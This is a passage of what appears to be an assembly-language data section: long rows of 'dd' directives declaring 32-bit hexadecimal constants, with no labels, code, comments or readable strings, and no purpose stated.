0F4930EC4h, 0A7203E39h dd 969249F7h, 8D2FAC01h, 8A2873BAh, 0D0D1C850h, 60C3287Ch dd 88C95060h, 0D6312C02h, 26200233h, 0EC60915Ah, 0B4168E12h dd 0B8A1C376h, 583D7001h, 24867FD0h, 0BAD01D2Fh, 40DA969Dh dd 9933B4F1h, 380C6A0Dh, 21ACCD19h, 0C8675FEh, 93C0F4B0h dd 0A8A2E9A1h, 54CB005h, 804956ACh, 746ABEFFh, 588A3Ch dd 3602F308h, 96193182h, 8ED42064h, 0FA778A8h, 0F1469424h dd 38350202h, 38A9A862h, 60F8F0DAh, 22E2EF0Ah, 0D050B8C2h dd 22414228h, 0FB50002Eh, 0F26A3467h, 12C00DE8h, 794E4127h dd 0E209017h, 0CEF7E922h, 0A68E6740h, 0A8B4A0C9h, 23B1BC00h dd 193E1238h, 0D02E76B5h, 2472D843h, 6DCFCA03h, 0C027471Dh dd 6112DFD9h, 0D75C83Ah, 2631C44Dh, 77047DFAh, 1BCAB15Ch dd 370C5091h, 39A56E00h, 2420E359h, 7E08BCB8h, 44B820ACh dd 84AB2182h, 0B95411D0h, 0B3B62415h, 38D840A4h, 7439643Dh dd 0C48C3652h, 4480C38Ch, 48B2D23Eh, 0C048B895h, 69EEB082h dd 8D0BD520h, 241890B9h, 0E330A775h, 0A950F93Ah, 0B40A3E2Ch dd 4C34D518h, 190A4910h, 10609A6Bh, 0C3C91881h, 0FE283829h dd 89B50049h, 0FF630C24h, 8509F22Dh, 4744EB4h, 3740FC10h dd 709038CCh, 730F8D14h, 294C3248h, 0CDC41102h, 8426B5Dh dd 4059ED2Fh, 0A8DC7788h, 48A3B358h, 0C91434F6h, 8D8048FFh dd 7CCF412Fh, 0B7E92E07h, 3B00F602h, 928CD9h, 43814970h dd 846301CFh, 0CD854F19h, 872F1760h, 8880D90Dh, 3E9B548h dd 79C36CF8h, 0A1B20DCAh, 71A8DEFEh, 0C3EB8034h, 7EB0A66Ch dd 907E82BEh, 0D90A34A8h, 0E460E8AAh, 7349581h, 803E1FFFh dd 6A0C09ACh, 0F7B5A203h, 0AAE04C7Bh, 0B63840EEh, 48829FAAh dd 1443A477h, 2F015292h, 84208B14h, 0A7EA26A1h, 20F933Ch dd 3C9AA804h, 0CF81C4DCh, 49B5901Fh, 0F8D9D8E1h, 0CC8078BBh dd 76E71934h, 0C1D44828h, 6C23EC8h, 64F11BA4h, 81410110h dd 0D4F85DF6h, 5155DD9Ah, 30882CC8h, 6601C350h, 0EE92F5BEh dd 0C66AA3F7h, 0AA009198h, 0BF2C5AA6h, 856B36h, 0E4322DC8h dd 0A24E953Ah, 138F0100h, 0E68DBAB9h, 56B409DFh, 9001C06Fh dd 7147BC9Bh, 0A4B8102Eh, 73B8E794h, 0A2045901h, 9E5CC2A3h dd 3C518850h, 26A76F6h, 2FD0973h, 0ACE4EAA3h, 0CDB42C00h dd 0FA67E951h, 0AA740073h, 0F99FB699h, 63EC2D22h, 8B1080FFh dd 0C6A3D9F5h, 83095E17h, 0EDA8ADCCh, 0F900BE5Dh, 0B38E5B45h dd 0C59DCFh, 0FAEE2A2h, 0EDD6C784h, 63AAA914h, 0C84C0EC4h dd 0EF0460ABh, 787BDCFFh, 220124EBh, 3CD54064h, 71136FDEh dd 0DC44CBC3h, 1C881CA2h, 0E377009Bh, 0F03AFDF6h, 0C300BD0Ah dd 1DB42144h, 603358h, 0FD53D1D2h, 249BA327h, 0CC00117Ah dd 0EA7CE072h, 3AD96A79h, 0E7B7D1Fh, 0CE8B31D1h, 47897A8Fh dd 0E700E074h, 7012F67Bh, 0E07F1876h, 2AB221CCh, 0ABA41B18h dd 0E86C11h, 0E5F6A624h, 565F97E0h, 0CA4108C6h, 0EFEA0020h dd 0AE4F8227h, 240C35EDh, 60F3DDF7h, 0AF5600B2h, 0EBA1A0BDh dd 0E2EC6061h, 0E6D6DF01h, 0E0712A28h, 0BEF27088h, 9680F60h dd 22EE4624h, 37130E7Eh, 6FA04427h, 95B43FECh, 0CC497F60h dd 0C09AACE1h, 0C709F510h, 15003101h, 165E82DEh, 53CC52h dd 0F0A25064h, 4A19E0BBh, 316A0102h, 0C305D888h, 0E3D9DACAh dd 0B060B860h, 34CA007Dh, 0B2A2FF37h, 0AE3B77E5h, 846F0548h dd 0FF03178Eh, 0A08A5B26h, 0E2831h, 4620BA4Fh, 0EA0151D1h dd 9A3C2701h, 0DF655D56h, 37E0CBFDh, 0B46B00CAh, 2C73B57Eh dd 1B02D050h, 202B144Bh dd 0A68C068h, 79AA7531h, 0B9F4D8h, 26BAA561h, 5AEF3CF4h dd 9CA25C03h, 0F02BE2B5h, 279323h, 34754D20h, 0A1560D11h dd 0D0739A01h, 0A35F1C6Ch, 18A006D4h, 2016F4BCh, 770AB424h dd 2066D758h, 436D7C70h, 0CC3F61h, 605A203Ah, 7C8A7730h dd 44D63C89h, 317A1860h, 4A0102F9h, 0CBA0A6D4h, 0D7D0A239h dd 8520C05Fh, 0E38DE759h, 897BE007h, 47E2A88Fh, 0D688D5BDh dd 0A0030180h, 816BB811h, 0E390DA69h, 8ADC7F32h, 0C0BD71F5h dd 5DCCAC08h, 6D016560h, 709EB805h, 5920114Bh, 31080AC8h dd 0AA07D8Ah, 85CD99h, 82605C9Eh, 0C00E268h, 5FE0B821h dd 6078FD69h, 0D324A0D7h, 0C405AB5Eh, 43A3BC72h, 11E79401h dd 90813922h, 2CFB2782h, 401181E4h, 0E1BD5D2Fh, 316912D0h dd 4708640Bh, 0D3208024h, 0BCC95DDDh, 45232A22h, 0AE3FC94h dd 8894D15Eh, 898A39BCh, 60A4D7E6h, 4DB8E74Fh, 8CA38421h dd 87308954h, 31FA7704h, 64C06EE0h, 1D13D1C0h, 0C2FD1Bh dd 0E5B9705Ch, 50FB266h, 71350Fh, 7F69C1E3h, 20826F87h dd 492D700h, 9602933Bh, 85B7DC75h, 694CC1ABh, 3D4D2080h dd 72066F04h, 778E900Eh, 6CDD0163h, 0B7C9E0FEh, 0A98BD4h dd 0A42B7624h, 1379402Eh, 0B209121Ch, 0E15A987Eh, 74B52F28h dd 197700E0h, 91043C50h, 667123EBh, 340143FEh, 3F37D98Ch dd 0B900B211h, 0CD00A203h, 0A719A68Ah, 0DC54644Eh, 20B01808h dd 28008F0Dh, 0D7073C92h, 217F4Dh, 0B0873BCDh, 15F35AF8h dd 9065CA01h, 0FEFBC624h, 0B9108044h, 497C080h, 8CAE92F6h dd 39C25F44h, 2407043Eh, 7093FAD8h, 0FCF2B08h, 9E09D61Ch dd 8D40315Eh, 8C9D8937h, 2F4729C5h, 180AD9B4h, 0C7E64CA6h dd 3191F7Dh, 0F28428BAh, 0E1410663h, 0FCB3BBC2h, 0E918FD61h dd 68708A3Ch, 9070DF89h, 436C185h, 1CD2920Fh, 0D8BAE7h dd 0A9F73207h, 125E0130h, 0CA7F07Ah, 0B7296D8Dh, 3D775700h dd 794567A2h, 92E61D37h, 0B8C50C7Bh, 7F00A920h, 751F8A20h dd 0EC1088F6h, 0E2800AE8h, 84E4B1FEh, 90FC7273h, 8F575D18h dd 0CCD5D300h, 458A4BCFh, 35B300D4h, 9C09AB3Dh, 9200DE81h dd 62C063EDh, 1C7F2D69h, 29E2A491h, 208B004Ch, 7AE5679Eh dd 0B24D8385h, 0FDE0623Eh, 0AB0E010Fh, 0EFDF746Ch, 0D9003165h dd 0DCD02829h, 0F709C9FEh, 176637F6h, 0C05E1110h, 0F7EA2A89h dd 1DCA037Ah, 2F45733Fh, 0C8C4883Dh, 623B0EA7h, 0EB54A57Eh dd 0E2A58402h, 8C689073h, 604B1520h, 5B89B4FDh, 704EA027h dd 1F04583Dh, 1C8E2828h, 0B83C0907h, 287C0FABh, 0D772C077h dd 0F38B32F1h, 0DC3B997Ch, 8C5D868Eh, 0E0396BFFh, 0BE31C0EEh dd 6529EA2Bh, 2738B000h, 45881793h, 8F0E00F4h, 0E0B29BB4h dd 0B7007DD7h, 0F78B64E3h, 1E3C0B05h, 55FC40F0h, 6207A8FFh dd 0C0BE51FAh, 0BC6D0BF2h, 0BD2CD700h, 0CDE03027h, 4430E9E1h dd 60130273h, 0A8A20AF7h, 6EE23845h, 0A2BF18B9h, 6CAC7E00h dd 0E8193909h, 0F3CD22FCh, 9B37D513h, 0CE562460h, 8CAB7E76h dd 2221486Ch, 764A17CEh, 50DB07B8h, 0F3D5C01Ah, 0D81299FDh dd 84009A4h, 0FED930EDh, 0E1F200BAh, 0F9744279h, 5A2422B0h dd 39822C56h, 484AB4DFh, 1C7DD600h, 41FF040Fh, 2671A55Ch dd 0E38450F9h, 5009337Eh, 0DA6788h, 2E172A5Ch, 15D18C6h dd 0FEDBC13Ah, 3D4DF978h, 0F9900A0h, 0E3A37F4h, 644419A9h dd 804908BDh, 0F41D2381h, 9DFF22h, 0DC7A18A8h, 0C864D7E8h dd 0BC079C13h, 92622C40h, 1BCE4Ah, 97BD101Dh, 0DFE81370h dd 0FCEF2B03h, 0D5636BCCh, 0C03CA848h, 0A68BCE27h, 0A910F146h dd 4BC03B0h, 0C2B29828h, 97FC48E0h, 87E709D8h, 0C9064E2h dd 0C509CAC2h, 6C6AC45h, 99FE0Fh, 1E25ABBh, 313707B1h dd 7541E8A7h, 0E4087063h, 260BDE70h, 0EB4C347h, 8CFD00D2h dd 0F436E0h, 0FE30CE7Eh, 5178AF3Fh, 0B0C3BF26h, 2D585605h dd 89D8EE80h, 5CAB00C8h, 27F2EB8Bh, 28019B40h, 0AD98AE03h dd 32FC70F6h, 0D84B008Eh, 3BC981A1h, 3C002543h, 0E688E5BBh dd 0E7872Eh, 0CD1851EFh, 0C7B73EFDh, 5EBDAC00h, 290657CBh dd 440E1C83h, 1F7BC09Bh, 0F524F6A6h, 41544E03h, 0D069F96Dh dd 4F4CA5h, 0E3A90725h, 4DEB3C73h, 63DD900h, 9ADF6182h dd 0F98300EFh, 0F48F4BC4h, 6930CA5Fh, 0C655406Ch, 0C7090164h dd 84863C8Eh, 5921CC8Bh, 81CE2001h, 497F2550h, 0C041B620h dd 8B9F3AC0h, 0E401C2C1h, 0F0DB5B2Bh, 0A0FE26ABh, 0F7A5B680h dd 31C4003Bh, 5999D733h, 0F900808Dh, 4BABD107h, 1E841F89h dd 84DD2409h, 70D45242h, 8AC9CCh, 5D0A8328h, 0F99EC4D2h dd 7F5C80C7h, 0BA9C5450h, 147302B4h, 364BF6ABh, 0C9039881h dd 0E075EC80h, 0D91A1301h, 0DCE60B6Eh, 4A418040h, 0CD200C6h dd 44A8B505h, 0DE000A79h, 29E590E9h, 54DDC23h, 5379AB4h dd 50C00010h, 0C46BDD0Bh, 0A74B390Fh, 2BB8878Bh, 0E01C8943h dd 8FF655h, 0C253272Ch, 0E99ECD66h, 64180F00h, 5D08C31Ah dd 60C854B7h, 0FFF802AAh, 6D1BD29Ch, 8033A910h, 0C3D1ED4h dd 4058828Ch, 40BC7C44h, 0C00563EEh, 9DFEBA40h, 9330665Ch dd 0AEF28151h, 0EC490074h, 0B3F15B90h, 3B14EBCFh, 80D607h dd 457EB97Dh, 3E853205h, 3E808699h, 0B7D813A6h, 2538F8B4h dd 8D62005Fh, 93D76E72h, 220E012Bh, 89D9B47h, 0FD85D057h dd 9055F700h, 955AC94Dh, 68E0A2h, 25464E96h, 1C8A8657h dd 0DC94BC00h, 327A1291h, 7C40C7D7h, 0C4A2046h, 4BE6C6F1h dd 0DAE25000h, 0FFF02175h, 9A740016h, 39A1BF28h, 77EEECBBh dd 0C00A0728h, 72EF7D00h, 0F3621A65h, 0CCAF0085h, 0ED11E31Ch dd 7E05D1E8h, 0A6AC58C4h, 0F7C804CBh, 0F5BD87C0h, 495A0EA6h dd 0A7CBABEAh, 0F484C017h, 0CA20E3B8h, 270007A3h, 380B9FFFh dd 0EEA0B6h, 9A035163h, 3E7786E5h, 0CF002B77h, 0CD480481h dd 2620FB8h, 0F5A59499h, 64685D31h, 0BA3CAD3Ah, 8CF98768h dd 7A10D3EFh, 38207DAh, 0EBC4934Ah, 20025D09h, 0D8FF3B7h dd 0FC209E04h, 1C988CD7h, 43C18E1h, 0E63A52F5h, 20A232B4h dd 48F40A22h, 7101751Ch, 614F14ACh, 7B6B6570h, 980225F4h dd 3328A0DBh, 0B3BA0551h, 0D0B98693h, 0E148992Ch, 11C5F000h dd 51DC63D1h, 548C0708h, 0B5903162h, 234C2E22h, 39230049h dd 7DBA16CBh, 2C720D2Ch, 0AB6C5F40h, 1C5B0752h, 93E52562h dd 4783F07Eh, 1D384158h, 1443C552h, 0C83C36FAh, 9D2955h dd 866EAF65h, 37691E5Ch, 3A22B51Eh, 410F7740h, 0EFE332h dd 0D90AACEAh, 5DE7D2CEh, 40831C24h, 3BAD408h, 20CD0EAFh dd 71D55990h, 57B7071h, 0EF40958h, 0E1069C68h, 0C70381DBh dd 662229BFh, 427EF122h, 29980890h, 840D1052h, 0A4487641h dd 0C5991A41h, 106C6101h, 8125D440h, 44F50838h, 0A48845F8h dd 72210068h, 0D832DE74h, 23008AE4h, 3E31804Fh, 95E764h dd 9329609Bh, 6F271BEh, 6500BF79h, 0F153BC73h, 75A434E8h dd 0FDF003BAh, 0A5AFB47Ch, 41D58F8h, 19720F07h, 4EF03BB5h dd 0E494EFC3h, 2AFF3BC7h, 5B97AB80h, 0F4EEC0DFh, 0CF151D1Dh dd 30B78941h, 0FBE4B845h, 261000CCh, 0FE3A5A8Eh, 9E008048h dd 0DEC76088h, 0C9E60Ch, 6877AE72h, 0D5D2F61Ah, 11F55F2h dd 75C7B033h, 810729CBh, 0E892BEA3h, 373E087h, 0F1DDBD6Ch dd 4AB84D37h, 3E00E45Ch, 30176ABEh, 0B808FD8Bh, 0FFE60F20h dd 35C00291h, 5AD12822h dd 305F9309h, 84C3802Dh, 3AFED25h, 0E12E61DAh, 53E86EECh dd 2C28B095h, 243AA2EBh, 0E38D0F4Dh, 0A865456Dh, 4E689000h dd 1ED7D12h, 55FF436Eh, 0F80DA058h, 2B00CFE2h, 3C9BAAD6h dd 0FFA62C8h, 0AFB8F3C1h, 339F51C0h, 4400F4BBh, 9986F716h dd 14BD585h, 7854A618h, 746E7E37h, 678EA80h, 7A02E117h dd 92E41100h, 93A846h, 0C6A6C017h, 61CFA301h, 0F3BC8A00h dd 0D3239239h, 30993EBBh, 9A122480h, 8B569E2Eh, 7D1EA102h dd 0E8B97937h, 1C740FF0h, 0AEF97Ch, 0D7CD88EBh, 0E60310BFh dd 4C431EE4h, 1D8CC015h, 8DF703E5h, 865AC096h, 0DAA7400h dd 99663ADAh, 6CE80322h, 0B62DDCFEh, 0A5A401Ch, 20B5644Eh dd 13BAE758h, 0FA400074h, 1920AD51h, 4800CE8Dh, 4F6123C0h dd 0A21C2Eh, 4632E6F4h, 25E5EFE9h, 23FDCE0Eh, 0E20A4050h dd 0D02D9Ch, 0AB5F2078h, 41F6D20Ch, 5B9BA100h, 8D32BA6Ch dd 67860037h, 91BF0198h, 88008B09h, 228760E2h, 0EC9493D1h dd 7CFA02h, 9DF0365Fh, 19AE4C1Dh, 47D9E70Ch, 0A96E70h dd 0C38B555Ch, 3746FED7h, 2604A090h, 0AF38095Bh, 0F66248C0h dd 0F42A00CFh, 712CC427h, 0DC74F959h, 30CE0C0Ch, 0CC090Eh dd 0AA03CD40h, 7842F97Ah, 45C1C800h, 0A184A397h, 9513008Dh dd 9F1ABCE3h, 26019BE4h, 0ED59AD29h, 0D0D0C948h, 21F2005Dh dd 9512868Ch, 8E00318Ah, 5444FA7Ch, 39979319h, 1700E2D6h dd 0AC3F7F24h, 0A9F8B15Ah, 480FE34Bh, 0C948386Bh, 0AF8B4C95h dd 0EA227400h, 7BD13C46h, 0F37E1D01h, 5A1FFBD7h, 0CE68C985h dd 34528047h, 7C01D180h, 33C5BF3Eh, 36D58B0Ch, 71D1BE0h dd 0DF63E275h, 0E87FE03Fh, 0CC015F64h, 0C7EC66D4h, 21E0425Dh dd 1CE600FAh, 4E3AEDC2h, 0D600FC74h, 4B6F3836h, 0E85DEA1Fh dd 0F6B856h, 180CAA25h, 0E58AE7Dh, 8F934100h, 0BF1E86AFh dd 2077E1h, 0D8EE3AB1h, 0F0EF590Dh, 0AEBD9B0Fh, 3F88E5ADh dd 0C632D000h, 74AD42Dh, 0DE3CC46Ah, 0C172D026h, 667873D1h dd 0D99C09C3h, 17BAC843h, 4A990040h, 0E43E91C5h, 3D03BDD0h dd 0F9DA61DFh, 0D09A870Ch, 91BEB601h, 2009ECEBh, 0C50242A7h dd 0E24CCBFBh, 120C6E79h, 0B8E8A6h, 5CF4B48Ch, 773E93DDh dd 0CE520096h, 6FD6FDFCh, 2F590306h, 0A4325E5Ah, 0EC0C2091h dd 9A0018F3h, 720244DBh, 63E9BD9h, 0CCED9DCAh, 39001070h dd 0A22E8881h, 0FECB1F45h, 93805C1Eh, 0F773C000h, 0BC60C469h dd 0BE0089F2h, 32B3426Bh, 0F272130h, 0B3F45B2h, 6E080033h dd 46D7881Eh, 3DF9AC1Dh, 848A0AC0h, 65E052h, 17918DBh dd 0E7729081h, 174D83Ch, 781F8AE5h, 0D8C7450Bh, 251B483h dd 7A25D914h, 9860AAE1h, 0EB2207C0h, 0E72A3C79h, 40EE487Ch dd 0B15B4100h, 0E9BB9BA8h, 23C54500h, 0FC312AE3h, 3E9CA98Ah dd 0E1C30h, 4169E28Bh, 0B0C00F0Bh, 0D652B600h, 0E4FA0A10h dd 0E3C9C119h, 38884D04h, 7EFC0344h, 3997D4Ah, 0D558A571h dd 1100B231h, 0ADBF0F5Bh, 14D11CFBh, 90A8FA06h, 34ECE800h dd 512F9891h, 35236300h, 0E7CE6F7Eh, 0D0E10017h, 5D2B7C2Ah dd 7004A0Bh, 0CA7A9815h, 3A797EA1h, 220099E6h, 52A4149Fh dd 460030EFh, 31B59D18h, 3CC3C6h, 0E3DBF70Bh, 0E6C75F6Ah dd 0E8ED5403h, 0C026657Eh, 0F8C43D87h, 0BD190794h, 82D94ADCh dd 83E09F5Ah, 82003AC0h, 0B41308F5h, 261995Bh, 841D3497h dd 0D460D830h, 0F004FE3h, 0C3564E6Ch, 2A4546h, 171CB351h dd 8DD856Bh, 0DE352000h, 0FB74D0D7h, 0D14F0082h, 8E663251h dd 0E41D42D8h, 59C1AB69h, 0B44D276h, 0B887BFFDh, 0B039204Dh dd 9B52A1C0h, 4006275h, 0FA2AA33Ch, 831D8Eh, 515C78D2h dd 0CF55704Eh, 460B1100h, 3E0CCC7Ah, 8A330045h, 2D05072Ch dd 0E100C7AFh, 0AEE0DFF3h, 4EF58Fh, 2406EC8Eh, 0AAB89192h dd 86011874h, 1F9DC4E6h, 42E46AC2h, 905D0031h, 0F2C60985h dd 61000898h, 0FC542986h, 0F4D6B047h, 2AB50056h, 0E173079Fh dd 5E009DFAh, 0F893D035h, 7DDD9568h, 0FB8D0080h, 0EC7A2AADh dd 810028C6h, 7433382Bh, 0DCC1DDh, 0BA83D5A7h, 7111D775h dd 0D0D4821Eh, 403A344Eh, 0CF2D0887h, 0B829009Ch, 0B593E913h dd 68787215h, 0FB8B6D26h, 3DB76C00h, 0D25D67h, 31AD0651h dd 3BC25890h, 0A1D18A07h, 809F86ACh, 282E65Ch, 8DF300C7h dd 81F7BCEAh, 5200C492h, 5BA8F539h, 1A07B13h, 416DFC32h dd 0D8455FD5h, 200CCB1h, 406C1D9Ah, 48AD3C8h, 0DE4CE86Ah dd 80A88778h, 1435B991h, 0A1833600h, 18ACD2AEh, 0F21E0071h dd 1B2EBF88h, 0A507C1BAh, 2A036241h, 8B999F00h, 90B3005Bh dd 660B07A0h, 260036E7h, 5123E060h, 69417Ah, 0DF6CC80Ah dd 3FE90FD6h, 2CDC700h, 156E9885h, 35C60BB3h, 20024E8h dd 7B6FD846h, 2D7AF500h, 0E1026EBBh, 0E48E0017h, 0A137E8FAh dd 1F16E95Fh, 4007F321h, 38BD48Fh, 60C8D01Fh, 1F960911h dd 19E2DD86h, 0E3C23400h, 47D80E23h, 0E82D60BAh, 76D957BBh dd 0ED393607h, 0FAD03ADEh, 3E2EDAh, 63E01914h, 0D7465641h dd 0D499B424h, 4DFF6207h, 84CF620h, 0A3271871h, 21219CEh dd 7AE3A000h, 9E3B6B03h, 4D2800C3h, 0FDC4A3ECh, 5C00E64Bh dd 0EBF0A436h, 0FCC3844h, 894146Fh, 8F1ABD40h, 66071650h dd 49BEEF8Bh, 0BF7A220h, 834A0CD8h, 5B683B65h, 0C6420D00h dd 0EE5D47EDh, 0E56907B4h, 605F0B92h, 3FCC95FCh, 0D73A0A1Ch dd 904609C0h, 0DE178Fh, 0B2194EEFh, 0DFD2A94Bh, 3C2A10C0h dd 18A41EEh, 0E2682E99h, 21695FABh, 5638F413h, 960329C0h dd 3F501DA7h, 6F04494Dh, 0C0A1E6BFh, 0DD83FB00h, 91620100h dd 54AF8E6Dh, 3D2D0013h, 0F47E9860h, 0C6001133h, 3959496Ah dd 71E5Bh, 9E208CDCh, 87DE8E95h, 0D37FE990h, 0C8B94307h dd 0B3108A3Dh, 748F9CA0h, 0FCD000C3h, 0DFCBAE20h, 1B242388h dd 0BD00DC89h, 8F3EC71Fh, 4D3300FFh, 99348CA8h, 0D039B81h dd 2628F9A9h, 7FC989CBh, 33AC2C4h, 367E44Bh, 0DE905C4Fh dd 0B31DF30Ch, 0AFAE6B95h, 45B0EA03h, 400FA896h, 7EF97310h dd 0CBA61E50h, 23F68049h, 6747C0C8h, 849AB3EAh, 0E1707B30h dd 0FB040C7h, 0D1729813h, 0BD92E4E0h, 520079C4h, 8CFDE653h dd 90F70307h, 2E3E0080h, 0EA462FB1h, 6D48DC1Dh, 4C187A4Fh dd 22A0C2F5h, 7A04007Eh, 9A5E2D18h, 0C4020F38h, 48C8A1C1h dd 0C91CC0FBh, 9246009Bh, 530F2CEh, 3400A3F6h, 0B51AE40h dd 0EB8DC2h, 0C02CBE14h, 0E35F1706h, 0D3FB0500h, 0FC40CB9h dd 7480B02Dh, 0CB7900FCh, 6C932988h, 870069A5h, 8D37B5CEh dd 3C49D99h, 43128432h, 63E80396h, 664CDB6Bh, 1BFF0755h dd 6CF24FBBh, 62D6022h, 0CE3A0061h, 9948BCC8h, 0BF1C7CB6h dd 17BF0A9h, 0B7C6C4ADh, 9E206074h, 922504E2h, 0C1A14114h dd 0D372E63Fh, 0A8458590h, 445EEF03h, 885D385Bh, 0EF139CAh dd 58C41861h, 0C0742067h, 5F3A286Eh, 0CE7548B0h, 5C89D00h dd 1F137988h, 0CD4C007Eh, 481DB8BBh, 0F002D7A6h, 0E33EBC35h dd 1E4E052h, 0C868003Ah, 875A7E54h, 9E3981AEh, 74007E6Eh dd 0EEB3CB8h, 1E6A67AFh, 299B03h, 434468C3h, 6B8964Dh dd 0B017C700h, 35146CCCh, 0AA880086h, 0C28CBE84h, 705C6A0h dd 6DE132FAh, 0DB10EAC0h, 25533E2Bh, 7F4EDF00h, 3ADDAE6Ch dd 8C5A8004h, 0F1C028E6h, 146E2183h, 9047524Dh, 1EC70274h dd 9BDB7E57h, 903B3B63h dd 0A2A488E5h, 81710018h, 6A09255Fh, 1700EF76h, 0FC440E38h dd 9FA464h, 11F4521Bh, 0E8DC5839h, 2A048803h, 0F97080BAh dd 0D9D80B38h, 177F31h, 0C92B4421h, 621D4DB7h, 3A007FEEh dd 915CEFBCh, 3EF8416Ch, 50871503h, 97B3AFBEh, 14F6304Ch dd 137B1730h, 4A58000h, 4EA45D0Dh, 6A600C5h, 0EAF7908Fh dd 7E00D782h, 7E9CC9Fh, 0E8446D8h, 0D6121B4Eh, 0E12CDBE0h dd 0A9001C14h, 4280AB0Eh, 549B9Ch, 36D499ACh, 310C4395h dd 0DD65C300h, 15B94FF6h, 3B37302h, 0D90FA1F0h, 51C01F1Ah dd 0EB0059E6h, 0FFDD427Fh, 28F49D05h, 0ACE85Eh, 0A7E14C28h dd 0DA5FFCB9h, 9804E6EAh, 3E7569Ch, 0F7835E87h, 0CBF2BB32h dd 0EC42C13Eh, 0E05BD0h, 0FCB33CEEh, 41A48556h, 0F5FAC703h dd 0D890C244h, 7B1D026Fh, 4C2300B9h, 5D175995h, 0AC022DF7h dd 0C8298797h, 3338E04Bh, 0DB1D0A2Fh, 0E419C9h, 93BEA3CEh dd 0DD01B314h, 58AA780Ch, 0BDC4C09Dh, 1E3F003Dh, 16BEE797h dd 500739BCh, 34557879h, 59AE9110h, 0CA9A001Fh, 0B22DA4F6h dd 0EC00816Fh, 0EBA2AA8Ah, 18A77C3Dh, 587D1437h, 2400F811h dd 16C7A171h, 9A8A6Dh, 0F2F68761h, 42C176DAh, 0F7FEF3Ch dd 0FEEC87Ch, 87C980C5h, 0F817A0AFh, 2ACA4C74h, 0BA6BA700h dd 1CF3AD9Ah, 94E65E00h, 991A273Ah, 16390005h, 826ADA20h dd 9C00E4F4h, 0C9A2AF7Eh, 84CDDFh, 0E6D47540h, 8391E777h dd 0A7003FB8h, 16351FADh, 0E1B8850h, 4356CB3Ch, 907E2940h dd 2B00602Dh, 277BCE99h, 61656Ch, 0C4D8CCE8h, 6BB5FEBAh dd 4A1F3800h, 0F1B29A2h, 0DE3C0042h, 712265B7h, 10119A8h dd 7E16062Fh, 2BD49C3Eh, 339D0F2Dh, 0A3436BB3h, 0F0E03422h dd 8001BFFBh, 9AE426EFh, 53E1D64Ch, 0E2FA9080h, 6C378547h dd 287C0500h, 0E4571301h, 64A701EFh, 0F0B8C30Ah, 93308096h dd 0F5D458ABh, 4A071D22h, 7A1200B1h, 0E66D7C4h, 26FC4200h dd 0EE8A5495h, 72DB1D06h, 29C88070h, 0A071917Bh, 0B8C53E00h dd 0F083BB82h, 9E5400A2h, 988F0AC0h, 4F7A1FD9h, 0A1643330h dd 740850BCh, 833000ADh, 0F0061FB0h, 5203BFD3h, 0BAC190A7h dd 0E5408482h, 24FCB16Ah, 8AF0E32Eh, 5B8AF300h, 6D634Ch dd 0C7A1435h, 5A477483h, 160FA400h, 4A52B389h, 0DA0D48FDh dd 1718BF00h, 595D5F28h, 0A8BA7200h, 5A9A6557h, 0B803009Eh dd 0A9899648h, 2392ADDh, 0FC53807Dh, 94B54ABFh, 0B2AF0152h dd 9AAA77DFh, 2FA0D86Fh, 0E50143F6h, 7A3F70CAh, 0B3F8C81Ah dd 0D5750022h, 87CE266Fh, 0B60FABF8h, 0A0520B4Eh, 0CF65F353h dd 0E60DEC21h, 2F380773h, 501E858Ch, 0C70EE5B0h, 0FF08BF0Fh dd 374900F0h, 9B526Eh, 0ADC06BB7h, 1892279Ch, 0A55E3800h dd 857D610Fh, 44924Fh, 0BBC481C1h, 0D9B3F1DEh, 27349400h dd 1B910E16h, 280863F0h, 31005984h, 9C278110h, 3E4803C5h dd 75023836h, 0F4F93CF2h, 5059C091h, 80544FDCh, 61B11000h dd 0BB249CDEh, 43C8074Bh, 0D08BE2h, 671A92A8h, 6DBCC106h dd 510EE23h, 5BAA01CEh, 5E3C03ABh, 8990DBB0h, 0EE4C184Bh dd 80C63DFAh, 91D9E3DFh, 4C058B7Ch, 0F400B4F9h, 958F1843h dd 0EF0344CBh, 8D02BFE2h, 20A1E659h, 971D52DDh, 0F4007761h dd 0BC38F0A4h, 0A3BE0002h, 0FF7C2646h, 28C03A4Ah, 86765E15h dd 7E360AA1h, 0F2DF8Fh, 0A8C29C4Bh, 6A0B3F69h, 805C5499h dd 0E20AEF92h, 84792Fh, 252283EEh, 4DF16CA1h, 68EC370Eh dd 0FA3180FCh, 0B3B976h, 52C3BB6Eh, 4C2517B6h, 0D8C2D500h dd 42DE177h, 9995038Bh, 0CAEEC61Dh, 77EF0821h, 0B9AB50h dd 0D33AAEA6h, 0A5CB6477h, 1EE68900h, 970EBE1Fh, 57C600F9h dd 6E888234h, 8B099850h, 8CDECB7Dh, 446229EEh, 16207491h dd 1CF42287h, 5073AE22h, 62B528C6h, 0FFB029EAh, 1D899121h dd 11909A01h, 7988BC04h, 7E88144Ch, 14D0BA71h, 51E56250h dd 0D1201BE8h, 11286356h, 217A92BDh, 1684085Ch, 2928BD8Ch dd 83284F6h, 81805146h, 0B6035264h, 0F18A2898h, 2BEAA6E1h dd 4C98D500h, 3E688FD1h, 83BA0077h, 5A88FD58h, 1D002D5Ch dd 8ECFB692h, 0E3423Bh, 0F6DF79EBh, 71433A97h, 0A1CE0A00h dd 8C38880Dh, 408E006Ch, 4A44682Ch, 8300D6E9h, 35DA6931h dd 0A154Dh, 960F20F6h, 0FE77BD57h, 1FC2F900h, 4093DBC0h dd 0F75E00AEh, 64D6CB9Eh, 7E00097Ch, 4A6C73A9h, 8B0B89h dd 57847A5Dh, 22FC4798h, 1DCB6301h, 1099F932h, 1B3B5E4h dd 1CC9AB20h, 0CC3AC059h, 800DB77h, 961B6542h, 3C216CE6h dd 80030EEBh, 58495CFAh, 0D48AB5F1h, 19079297h, 7E99D7DDh dd 0C3DB85C2h, 0BD6914C0h, 0C60060A5h, 22A73C61h, 1C0028F4h dd 32A2169Bh, 0E0FF691h, 0D089EB15h, 0D9363A40h, 161EB578h dd 0C99D439Fh, 0AD2862C0h, 283E56Ch, 1FE6FD5Ch, 0E8FD298Eh dd 0E285D7Ch, 0AE60C4C0h, 80C7A5A7h, 0F1B79EA1h, 62B9D21Fh dd 9149380h, 1F3F21C0h, 0C0A4CA50h, 0DBD68277h, 2000F481h dd 0F5A17258h, 724D1E1h, 0CC5B98BDh, 0BFB52056h, 6507999Eh dd 627DA0DDh, 0F095F860h, 0C61C00C5h, 0FA96D6D1h, 0D000AFC3h dd 0B1A22C01h, 0D3CB40h, 8BB86DA9h, 5FBF5599h, 3874580Fh dd 4D54A039h, 54E09h, 229C44B4h, 423A5EA5h, 1F23D12h, 29701000h dd 